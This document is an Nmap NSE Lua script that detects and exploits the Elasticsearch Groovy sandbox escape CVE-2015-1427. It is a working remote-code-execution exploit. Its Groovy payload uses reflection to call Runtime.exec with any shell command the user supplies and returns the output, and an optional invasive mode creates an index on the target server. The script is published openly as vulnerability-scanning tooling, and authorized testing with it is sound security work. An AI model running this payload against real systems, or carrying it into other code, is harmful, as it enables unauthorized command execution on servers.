local http = require "http" local shortport = require "shortport" local stdnse = require "stdnse" local string = require "string" local vulns = require "vulns" local json = require "json" local base64 = require "base64" local nmap = require "nmap" description = [[ A simple script based on the exploit mentioned here : http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html The vulnerability allows an attacker to construct Groovy scripts that escape the sandbox and execute shell commands as the user running the Elasticsearch Java VM. ]] --- -- @args command enter the shell command to be executed -- tries to fetch the os details by default -- @args invasive if set to true then creates an index incase one is not present. -- -- @usage -- nmap --script=http-vuln-cve2015-1427 --script-args command=' ls' -- --@output -- | http-vuln-cve2015-1427: -- | VULNERABLE: -- | ElasticSearch CVE-2015-1427 RCE Exploit -- | State: VULNERABLE (Exploitable) -- | IDs: CVE:CVE-2015-1427 -- | Risk factor: High CVSS2: 7.5 -- | The vulnerability allows an attacker to construct Groovy -- | scripts that escape the sandbox and execute shell commands as the user -- | running the Elasticsearch Java VM. -- | Exploit results: -- | ElasticSearch version: 1.3.7 -- | Java version: 1.8.0_45 -- | References: -- | http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html -- | https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/ -- | https://github.com/elastic/elasticsearch/issues/9655 -- |_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1427 author = {"Gyanendra Mishra", "Daniel Miller"} license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"vuln", "intrusive"} portrule = shortport.port_or_service(9200, "http", "tcp") local function parseResult(parsed) -- for commands that return printable results if parsed.hits.hits[1] and parsed.hits.hits[1].fields and parsed.hits.hits[1].fields.exploit[1] then return parsed.hits.hits[1].fields.exploit[1] end -- mkdir(etc) command seems to work but as it returns no result if parsed.hits.total > 0 then return "Likely vulnerable. Command entered gave no output to print. Use without command argument to ensure vulnerability." end return false end action = function(host, port) local command = stdnse.get_script_args(SCRIPT_NAME .. ".command") local invasive = stdnse.get_script_args(SCRIPT_NAME .. ".invasive") local payload = { size= 1, query= { match_all= {} }, script_fields= { exploit= { lang= "groovy", -- This proves vulnerability because the fix was to prevent access to -- .class and .forName script= '"ElasticSearch version: "+\z java.lang.Math.class.forName("org.elasticsearch.Version").CURRENT+\z "\\n Java version: "+\z java.lang.Math.class.forName("java.lang.System").getProperty("java.version")' } } } if command then payload.script_fields.exploit.script = string.format( 'java.lang.Math.class.forName("java.util.Scanner").getConstructor(\z java.lang.Math.class.forName("java.io.InputStream")).newInstance(\z java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec(\z %s).getInputStream()).useDelimiter("highlyunusualstring").next()', json.generate(command)) end local json_payload = json.generate(payload) local vuln_table = { title = "ElasticSearch CVE-2015-1427 RCE Exploit", state = vulns.STATE.NOT_VULN, risk_factor = "High", references = { 'http://carnal0wnage.attackresearch.com/2015/03/elasticsearch-cve-2015-1427-rce-exploit.html', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/', 'https://github.com/elastic/elasticsearch/issues/9655' }, IDS = { CVE = 'CVE-2015-1427' }, scores = { CVSS2 = '7.5' }, description = [[The vulnerability allows an attacker to construct Groovy scripts that escape the sandbox and execute shell commands as the user running the Elasticsearch Java VM.]] } local report = vulns.Report:new(SCRIPT_NAME, host, port) local cleanup = function() return end local nocache = {no_cache=true, bypass_cache=true} --lets check the elastic search version. local response = http.get(host, port, '/') if response.status == 200 and response.body then local status, parsed = json.parse(response.body) if not(status) then stdnse.debug1('Parsing J0SON failed(version checking). Probably not running Elasticsearch') return nil else if parsed.version.number then --check if a vulnerable version is running if (tostring(parsed.version.number):find('1.3.[0-7]') or tostring(parsed.version.number):find('1.4.[0-2]')) then vuln_table.state = vulns.STATE.LIKELY_VULN end --help the version/service detection. port.version = { name = 'elasticsearch', name_confidence = 10, product = 'Elastic elasticsearch', version = tostring(parsed.version.number), service_tunnel = 'none', cpe = {'cpe:/a:elasticsearch:elasticsearch:' .. tostring(parsed.version.number)} } nmap.set_port_version(host,port,'hardmatched') else stdnse.debug1('Cant Be Elastic search as no version number present.') return nil end end else stdnse.debug1('Not Running Elastic Search.') return nil end -- check if it is indexed, if not create index response = http.get(host,port,'_cat/indices', nocache) if response.status ~= 200 then stdnse.debug1( "Couldnt fetch indices.") return report:make_output(vuln_table) elseif response.body == '' then if invasive then local rand = string.lower(stdnse.generate_random_string(8)) cleanup = function() local r = http.generic_request(host, port, "DELETE", ("/%s"):format(rand)) if r.status ~= 200 or not r.body:match('"acknowledged":true') then stdnse.debug1( "Could not delete index created by invasive script-arg") end end local data = { [rand] = rand } stdnse.debug1("Creating Index. 5 seconds wait.") response = http.put(host,port,('%s/%s/1'):format(rand, rand),nil,json.generate(data)) if not(response.status == 201) then stdnse.debug1( "Didnt have any index. Creating index failed.") return report:make_output(vuln_table) end stdnse.sleep(5) -- search will not return results immediately else stdnse.debug1("Not Indexed. Try the invasive option ;)") return report:make_output(vuln_table) end end --execute the command local target = '_search' response = http.post(host, port, target ,nil ,nil ,(json_payload)) if not(response.body) or not(response.status==200) then cleanup() return report:make_output(vuln_table) else local status,parsed = json.parse(response.body) if ( not(status) ) then stdnse.debug1("JSON not parsable.") cleanup() return report:make_output(vuln_table) end --if the parseResult function returns something then lets go ahead local results = parseResult(parsed) if results then vuln_table.state = vulns.STATE.EXPLOIT vuln_table.exploit_results = results end end cleanup() return report:make_output(vuln_table) end